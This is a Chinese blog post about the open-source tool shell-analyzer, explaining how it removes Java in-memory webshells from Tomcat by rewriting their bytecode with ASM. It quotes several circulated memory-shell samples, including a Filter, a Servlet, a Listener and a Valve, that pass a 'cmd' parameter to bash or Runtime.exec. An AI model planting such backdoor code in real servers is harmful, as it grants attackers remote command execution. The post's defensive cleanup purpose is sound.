01 介绍
在上一篇文章里，我简单分享了工具的检测原理：
内存马检测工具shell-analyzer（1）最初版展示与设计思路
今天我将项目开源了，地址是：
https://github.com/4ra1n/shell-analyzer
本文将分享如何实现清除内存马，上文是“查”，本文是“杀”
02 远程
在上一篇文章中提到本工具的设计思路：
（1）将 Agent attach 到目标 Tomcat 上
（2）目标 Tomcat 通过 Socket 监听某个端口
（3）shell-analyzer 发送操作命令到该端口
（4）Tomcat 根据操作命令执行对应的逻辑并返回
当本地运行的时候，以上的逻辑足够；但远程检测的情况下，对端口进行基础的保护（自定义ObjectInputStream）之后，应该加入进一步的鉴权逻辑
Java Agent 支持参数，在 Attach 时加入参数
`VirtualMachine vm = VirtualMachine.attach(pid);``Path agentPath = Paths.get("agent.jar");``String path = agentPath.toAbsolutePath().toString();``// 密码参数``vm.loadAgent(path,password);`
通过 agentmain 入口的 agentArgs 参数即可拿到上文密码
`public static void agentmain(String agentArgs, Instrumentation ins) {` `if (agentArgs == null || agentArgs.trim().equals("")) {` `return;` `}` `if (agentArgs.length() != 8) {` `return;` `}` `PASSWORD = agentArgs;` `// 。。。``}`
使用 等命令获取所有组件信息的时候，需要先进行验证，命令格式为：PASSWORD （其他组件类似）
`if (targetClass.startsWith("<FILTERS>")) {` `String PASS = targetClass.split("<FILTERS>")[1];` `if (!PASS.equals(Agent.PASSWORD)) {` `System.out.println("!!! ERROR PASSWORD");` `return;` `}` `List<String> classList = new ArrayList<>();` `for (Class<?> c : Agent.staticClasses) {` `//...` `}` `}`
另外新增了 命令，允许指定任意类名，任意类型的组件，进行清除内存马操作，命令格式如下：PASSWORD|CLASSNAME
`if (targetClass.startsWith("<KILL-FILTER>")) {` `String f = targetClass.split("<KILL-FILTER>")[1];` `// 密码验证` `if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {` `System.out.println("!!! ERROR PASSWORD");` `return;` `}` `f = f.split("\\|")[1];` `System.out.println("kill filter: " + f);` `FilterKill fk = new FilterKill(f);` `for (Class<?> c : Agent.staticClasses) {` `if (c.getName().equals(f)) {` `Agent.staticIns.addTransformer(fk, true);` `Agent.staticIns.retransformClasses(c);` `Agent.staticIns.removeTransformer(fk);` `}` `}``}`
由于清除内存马的操作，需要 retransform class 操作，因此需要根据不同的组件类型，编写不同的 Transformer 类和字节码处理逻辑
通过 addTransformer 添加自定义的 Transformer 类，使用 retransformClasses 方法修改字节码，修改完成后通过 removeTransformer 方法移除新增的 Transformer 类使该类不会影响后续操作
对于远程查杀的情况，我编写了一个简易的 RemoteLoader 包，实际上只是封装了 Attach 指定 Agent 到本地 JVM 的一个方法
用户手动登录目标服务器，上传 remote.jar 与 agent.jar 后执行以下命令将准备好的 agent attach 到需要检测的 JVM 中，开始监听 10032 端口
java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]
在客户端 GUI 程序中，输入远程 IP 和对应的密码后，通过 Socket 发送封装好的数据到目标 10032 端口，即可实现对应的功能
清除内存马的 transforme 方法类似，使用 ASM ClassWriter 读取字节码，修改 JVM 指令后返回新的字节码，再进行 retransform 操作
`@Override``public byte[] transform(ClassLoader loader,` `String className, Class<?> clsMemShell,` `ProtectionDomain protectionDomain,` `byte[] classfileBuffer) {` `try {` `className = className.replace("/", ".");` `if (className.equals(this.className)) {` `ClassReader cr = new ClassReader(classfileBuffer);` `ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);` `int api = Opcodes.ASM9;` `ClassVisitor cv = new FilterKillClassVisitor(api, cw);` `int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;` `cr.accept(cv, parsingOptions);` `return cw.toByteArray();` `}` `} catch (Exception ex) {` `ex.printStackTrace();` `}` `return new byte[0];``}`
03 清除 Filter 类型
首先来分析最常见的 Filter 类型，这是网上流程的 Filter 内存马代码，可以发现执行完内存马逻辑后，调用 doFilter 方法继续传递
`@Override``public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)` `throws IOException, ServletException {` `HttpServletRequest req = (HttpServletRequest)arg0;` `if (req.getParameter("cmd") != null) {` `byte[] data = new byte[1024];` `Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();` `int len = p.getInputStream().read(data);` `p.destroy();` `arg1.getWriter().write(new String(data, 0, len));` `return;` `}` `arg2.doFilter(arg0, arg1);``}`
由于在 Tomcat 中 Filters 是一条链，如果这一条链在中间断开，将会导致未知的问题，以至服务不可用。所以需要使用 filterChain.doFilter 方法传递
清空内存马的 Filter 代码应该如下
`@Override``public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,` `FilterChain filterChain) throws IOException, ServletException {` `filterChain.doFilter(servletRequest,servletResponse);``}`
不难写出对应的 ASM 代码，当我们分析到 Filter 类的 doFilter 方法时，将整个方法 Body 替换为以下部分，即可继续传递解决 Filter 内存马
`if (mv != null && name.equals("doFilter") &&` `descriptor.equals("(Ljavax/servlet/ServletRequest;" +` `"Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {` `mv.visitCode();` `mv.visitVarInsn(ALOAD, 3);` `mv.visitVarInsn(ALOAD, 1);` `mv.visitVarInsn(ALOAD, 2);` `mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",` `"doFilter", "(Ljavax/servlet/ServletRequest;" +` `"Ljavax/servlet/ServletResponse;)V", true);` `mv.visitInsn(RETURN);` `mv.visitMaxs(3, 4);` `mv.visitEnd();` `return mv;``}`
顺便我处理了另一种情况，继承 HttpServlet 的 doFilter 方法，方法名一致不过参数不一致，代码逻辑和上文一致，都是调用第三个参数的 doFilter 方法以继续传递，压栈指令和方法调用指令一致
`public class TestFilter extends HttpFilter {` `@Override` `protected void doFilter(HttpServletRequest req,` `HttpServletResponse res,` `FilterChain chain) throws IOException, ServletException {` `chain.doFilter(req, res);` `}``}`
04 清除 Servlet 类型
网传的 Servlet 内存马代码如下，继承 HttpServlet 后重写 doGet
`@Override``protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {` `String cmd;` `if ((cmd = req.getParameter(cmdParamName)) != null) {` `Process process = Runtime.getRuntime().exec(cmd);` `java.io.BufferedReader bufferedReader = new java.io.BufferedReader(` `new java.io.InputStreamReader(process.getInputStream()));` `StringBuilder stringBuilder = new StringBuilder();` `String line;` `while ((line = bufferedReader.readLine()) != null) {` `stringBuilder.append(line + '\n');` `}` `resp.getOutputStream().write(stringBuilder.toString().getBytes());` `resp.getOutputStream().flush();` `resp.getOutputStream().close();` `return;` `}``}`
对于 Servlet 来说不存在 Filter 的传递问题，所以直接 return 返回即可。不过需要注意，doPost doPut 等多个方法都有可能存在问题，修复方式一致
`if (mv != null && (name.equals("doGet") || name.equals("doPost")` `|| name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")` `|| name.equals("doPut") || name.equals("doTrace")) &&` `descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +` `"Ljavax/servlet/http/HttpServletResponse;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 3);` `mv.visitEnd();``}`
另外一种 Servlet 内存马应该是继承自 Servlet 接口的，实现 service 方法
`@Override``public void service(ServletRequest servletRequest,` `ServletResponse servletResponse) throws ServletException, IOException {` `return;``}`
这种情况的清除逻辑类似，直接返回
`if (mv != null && name.equals("service") &&` `descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 3);` `mv.visitEnd();` `return mv;``}`
05 清除 Listener 类型
网传的 Listener 内存马代码如下，每创建一个 ServletRequest 对象都会调用 requestInitialized 方法，类似销毁调用 requestDestroyed 方法
`public class ListenerDemo implements ServletRequestListener {` `public void requestDestroyed(ServletRequestEvent sre) {` `System.out.println("requestDestroyed");` `}` `public void requestInitialized(ServletRequestEvent sre) {` `System.out.println("requestInitialized");` `try{` `String cmd = sre.getServletRequest().getParameter("cmd");` `Runtime.getRuntime().exec(cmd);` `}catch (Exception e ){` `}` `}``}`
我们只需要将 requestDestroyed 和 requestInitialized 方法返回空即可
`MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);``if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&` `descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {` `mv.visitCode();` `mv.visitInsn(RETURN);` `mv.visitMaxs(0, 2);` `mv.visitEnd();` `return mv;``}`
06 清除 Valve 类型
网传的 Valve 内存马会导致服务不可用，因为这里有类似 Filter 的问题，需要进行继续传递，不能在某一个 Valve 中阻断，需要调用 getNext 并 invoke 调用下一个 Valve 的执行方法
`@Override``public void invoke(Request request, Response response) throws IOException, ServletException {` `String cmd = request.getParameter("cmd");` `if (cmd !=null){` `try{` `Runtime.getRuntime().exec(cmd);` `}catch (IOException e){` `e.printStackTrace();` `}catch (NullPointerException n){` `n.printStackTrace();` `}` `}` `// 网传内存马没有这一行会导致问题` `getNext().invoke(request, response);``}`
被修复后的 Valve 内存马应该长这样
`@Override``public void invoke(Request request, Response response)` `throws IOException, ServletException {` `this.getNext().invoke(request, response);``}`
JVM 指令是这样
`if (mv != null && name.equals("invoke") &&` `descriptor.equals("(Lorg/apache/catalina/connector/Request;" +` `"Lorg/apache/catalina/connector/Response;)V")) {` `mv.visitCode();` `mv.visitVarInsn(ALOAD, 0);` `mv.visitMethodInsn(INVOKEVIRTUAL, owner,` `"getNext", "()Lorg/apache/catalina/Valve;", false);` `mv.visitVarInsn(ALOAD, 1);` `mv.visitVarInsn(ALOAD, 2);` `mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",` `"invoke", "(Lorg/apache/catalina/connector/Request;" +` `"Lorg/apache/catalina/connector/Response;)V", true);` `mv.visitInsn(RETURN);` `mv.visitMaxs(3, 3);` `mv.visitEnd();` `return mv;``}`
07 清除 Java Agent 类型
由于各种原因，工具不打算集成 Java Agent 内存马的查杀
Agent 内存马查杀相对容易，使用 SA-JDI 的 HSDB 直接 dump 常见的几个类，然后使用 IDEA 等反编译工具即可得到 Java 代码
（1）javax/servlet/http/HttpServlet service
（2）org/apache/catalina/core/ApplicationFilterChain doFilter
（3）org/springframework/web/servlet/DispatcherServlet doService
（4）org/apache/tomcat/websocket/server/WsFilter doFilter
对以上这些常见类的方法进行分析，即可得到需要的结果
08 一些问题
工具目前存在几个明显的问题：
（0）虽然我举例用的是 Tomcat 容器，但只要是实现了 Servlet 规范的容器或中间件，理论上本工具都可以进行查杀（但 Valve 是 Tomcat 独有）
（1）动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试，可以自己测试靶机来验证查杀内存马的效果
（2）虽然我已经自定义 ObjectInputStream 并加入密码来保护端口，但 Java 的反序列化机制本身不够安全，存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢？图个方便
（3）当你清除掉某个内存马后，其实你还是可以获得这个内存马类的字节码，因为通过 Java Agent 拿到的字节码不是真正的字节码，被 Java Agent 修改过的字节码不会变化，再次拿到的还是修改之前的字节码
（4）注意使用 JDK 而不是 JRE 来运行，以 Windows 为例，在 JRE 的 bin 目录中，不存在 attach.dll 等库，会导致无法 attach 和分析